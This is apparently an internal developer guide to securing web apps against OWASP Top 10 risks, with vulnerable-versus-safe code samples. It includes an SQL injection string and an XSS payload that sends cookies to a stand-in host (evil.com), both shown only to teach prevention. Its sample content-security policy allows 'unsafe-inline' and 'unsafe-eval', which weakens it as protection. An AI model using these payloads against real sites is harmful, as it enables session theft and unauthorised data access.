How We Secure Applications
Protecting against common vulnerabilities - OWASP top 10, injection, validation
How We Secure Applications
Security isn't optional. A vulnerability in our tools could expose client data, API keys, or become an attack vector. This guide covers the common threats and how to prevent them.
Core mindset: Assume all input is malicious. Validate everything. Trust nothing from the client.
The OWASP Top 10
OWASP (Open Web Application Security Project) maintains a list of the most critical web application security risks. Here's what matters for us:
| Risk | What It Is | Our Exposure |
|---|---|---|
| Injection | Malicious data in queries | High (database, APIs) |
| Broken Auth | Weak authentication | Medium |
| Sensitive Data Exposure | Leaked secrets, data | High |
| XSS | Malicious scripts in pages | Medium |
| Broken Access Control | Accessing others' data | High |
| Security Misconfiguration | Wrong settings | Medium |
| CSRF | Tricked into actions | Low (API-based) |
SQL Injection
The Attack
Attacker inserts SQL code through input fields:
// VULNERABLE: String concatenation
const query = `SELECT * FROM users WHERE email = '${email}'`;
// If email is: ' OR '1'='1
// Query becomes: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!
Prevention
Always use parameterized queries:
// SAFE: Parameterized query with Supabase
const { data } = await supabase
.from('users')
.select('*')
.eq('email', email);
// SAFE: If using raw SQL
const { data } = await supabase.rpc('get_user', { user_email: email });
// In the function:
// SELECT * FROM users WHERE email = $1
Checklist
- Never concatenate user input into SQL
- Use Supabase client methods (they're parameterized)
- Use stored procedures for complex queries
- Validate input types before querying
XSS (Cross-Site Scripting)
The Attack
Attacker injects JavaScript that runs in other users' browsers:
<!-- If we display user input directly -->
<div>{userComment}</div>
<!-- Attacker submits: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
<!-- This runs in every user's browser who views it -->
Prevention
React escapes by default, but watch for:
// VULNERABLE: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// SAFE: Let React escape
<div>{userContent}</div>
// If you MUST render HTML, sanitize first:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />
Common XSS Vectors
| Vector | Prevention |
|---|---|
| HTML content | Sanitize or escape |
| URL parameters | Validate, encode |
| CSS values | Whitelist allowed values |
| JavaScript URLs | Block javascript: protocol |
Example: Displaying User Keywords
// User uploads CSV with keywords
// What if a keyword is: <script>alert('xss')</script>
// SAFE: React escapes by default
{keywords.map(k => <div key={k.id}>{k.text}</div>)}
// VULNERABLE: If rendering to non-React context
element.innerHTML = keyword; // DON'T DO THIS
Input Validation
Validate Everything
import { z } from 'zod';
// Define expected shape
const KeywordUploadSchema = z.object({
keywords: z.array(z.string().min(1).max(500)).min(1).max(10000),
options: z.object({
minClusterSize: z.number().min(2).max(100).default(5),
model: z.enum(['text-embedding-3-small', 'text-embedding-3-large']),
}),
});
// Validate in API route
export async function POST(request: Request) {
const body = await request.json();
const result = KeywordUploadSchema.safeParse(body);
if (!result.success) {
return Response.json(
{ error: 'Invalid input', details: result.error.flatten() },
{ status: 400 }
);
}
// Now result.data is typed and validated
const { keywords, options } = result.data;
}
Validation Rules
| Input Type | Validate |
|---|---|
| Strings | Length limits, allowed characters |
| Numbers | Min/max values, integer vs float |
| Arrays | Length limits, item validation |
| Enums | Exact allowed values |
| URLs | Protocol whitelist, domain validation |
| Files | Size, type, content |
File Upload Security
// Validate file uploads
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ['text/csv', 'application/json'];
export async function POST(request: Request) {
const formData = await request.formData();
const file = formData.get('file') as File;
// Check size
if (file.size > MAX_FILE_SIZE) {
return Response.json({ error: 'File too large' }, { status: 400 });
}
// Check type (don't trust Content-Type header alone)
if (!ALLOWED_TYPES.includes(file.type)) {
return Response.json({ error: 'Invalid file type' }, { status: 400 });
}
// Parse and validate content
const content = await file.text();
// ... validate CSV/JSON structure
}
Authorization Checks
Every Endpoint Needs Auth Check
export async function GET(
request: Request,
{ params }: { params: { id: string } }
) {
// 1. Verify user is authenticated
const session = await getSession(request);
if (!session) {
return Response.json({ error: 'Unauthorized' }, { status: 401 });
}
// 2. Verify user owns this resource
const { data: job } = await supabase
.from('clustering_jobs')
.select('*')
.eq('id', params.id)
.eq('user_id', session.user.id) // CRITICAL: Filter by user
.single();
if (!job) {
// Return 404, not 403 (don't reveal existence)
return Response.json({ error: 'Not found' }, { status: 404 });
}
return Response.json(job);
}
Common Authorization Mistakes
// WRONG: Only checking authentication
const session = await getSession(request);
if (!session) return unauthorized();
// Then fetching without user filter
const job = await supabase.from('jobs').select().eq('id', id).single();
// User A can access User B's jobs!
// RIGHT: Always filter by user
const job = await supabase
.from('jobs')
.select()
.eq('id', id)
.eq('user_id', session.user.id)
.single();
Rate Limiting
Protect APIs from abuse:
// Simple in-memory rate limiting (use Redis for production)
const rateLimits = new Map<string, { count: number; resetAt: number }>();
function checkRateLimit(ip: string, limit = 100, windowMs = 60000): boolean {
const now = Date.now();
const record = rateLimits.get(ip);
if (!record || now > record.resetAt) {
rateLimits.set(ip, { count: 1, resetAt: now + windowMs });
return true;
}
if (record.count >= limit) {
return false; // Rate limited
}
record.count++;
return true;
}
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for') || 'unknown';
if (!checkRateLimit(ip)) {
return Response.json(
{ error: 'Too many requests' },
{ status: 429, headers: { 'Retry-After': '60' } }
);
}
// Process request...
}
Security Headers
Set in next.config.js:
const securityHeaders = [
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'X-Frame-Options',
value: 'DENY',
},
{
key: 'X-XSS-Protection',
value: '1; mode=block',
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin',
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';",
},
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders,
},
];
},
};
Error Handling Security
Don't Leak Information
// WRONG: Exposes internal details
catch (error) {
return Response.json({
error: error.message, // Might expose SQL, paths, etc.
stack: error.stack, // Reveals code structure
}, { status: 500 });
}
// RIGHT: Generic error, log details server-side
catch (error) {
console.error('Clustering failed:', error); // Log for debugging
return Response.json(
{ error: 'An error occurred. Please try again.' },
{ status: 500 }
);
}
Error Messages by Audience
| Audience | What to Show |
|---|---|
| User | "Something went wrong. Please try again." |
| Developer (logs) | Full error with stack trace |
| API consumer | Error code, brief message, no internals |
Common Mistakes
Trusting client-side validation
Signs: Validation only in JavaScript, not on server.
Fix: Always validate on the server. Client validation is for UX only.
Using user ID from request body
Signs: const userId = request.body.userId
Fix: Get user ID from session. Never trust client-provided IDs.
Logging sensitive data
Signs: console.log(user) includes passwords, tokens.
Fix: Sanitize logs. Never log passwords, tokens, or full API keys.
Hardcoded secrets in code
Signs: const API_KEY = "sk-..." in source code.
Fix: Use environment variables. See How We Manage Secrets.
Security Checklist
Before shipping:
- All inputs validated with Zod or similar
- SQL queries parameterized (no string concatenation)
- User content escaped or sanitized
- Auth check on every protected endpoint
- Resources filtered by user_id
- Rate limiting in place
- Security headers configured
- Errors don't leak internal details
- No secrets in code or logs
Quick Reference
| Attack | Prevention |
|---|---|
| SQL Injection | Parameterized queries |
| XSS | Escape output, sanitize HTML |
| Auth Bypass | Check session on every request |
| IDOR (accessing others' data) | Filter by user_id |
| Brute Force | Rate limiting |
| Data Exposure | Validate output, hide internals |